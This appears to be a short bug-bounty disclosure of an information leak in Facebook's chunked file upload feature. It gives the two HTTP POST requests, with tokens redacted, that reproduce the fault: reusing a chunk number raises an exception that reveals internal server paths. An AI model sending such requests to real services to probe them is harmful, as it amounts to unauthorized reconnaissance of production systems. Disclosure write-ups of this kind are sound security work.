POSTED ON BY EDITOR

Internal paths disclosure due to improper exception handling

This bug could allowed a malicious user to expose internal paths of Facebook main server. The leaked paths were not previously known to the public. 

Demonstration

The bug occurs in an upload functionality which enable Facebook users to upload big files as chunks. With each upload of a file part, the user has to specify the part/chunk number to upload along with the session_id of the file to upload. While testing i noticed that if we try to upload data after specifying an already used chunk id , an exception is raised and returned in the response along with directories to blame.
To demonstrate this, first we start an upload session for the desired file:
POST /intl/request/upload/start/
Host: www.facebook.com


file_type=text&file_size=555&file_name=ex.txt&__a=1&fb_dtsg=XXXXXXX
The response should contain a “session_id”, we’ll note it XXXXXXXXXXX
Then we use the session_id to make a second request :

POST /intl/request/upload/chunk/?__a=1&fb_dtsg=YYYYYYYYYYYYYY
Host: www.facebook.com
------WebKitFormBoundaryoG5U8hFBDDDDwLwN
 Content-Disposition: form-data; name="chunk_number"

1
 ------WebKitFormBoundaryoG5U8hFBDDDDwLwN
 Content-Disposition: form-data; name="session_id"

XXXXXXXXXXX
 ------WebKitFormBoundaryoG5U8hFBDDDDwLwN
 Content-Disposition: form-data; name="file_chunk"; filename="XXXXXXXXXXX-1"
 Content-Type: text/html


SOME DATA
 ------WebKitFormBoundaryoG5U8hFBDDDDwLwN--
This request should be made twice which will raise the exception and leak the internal paths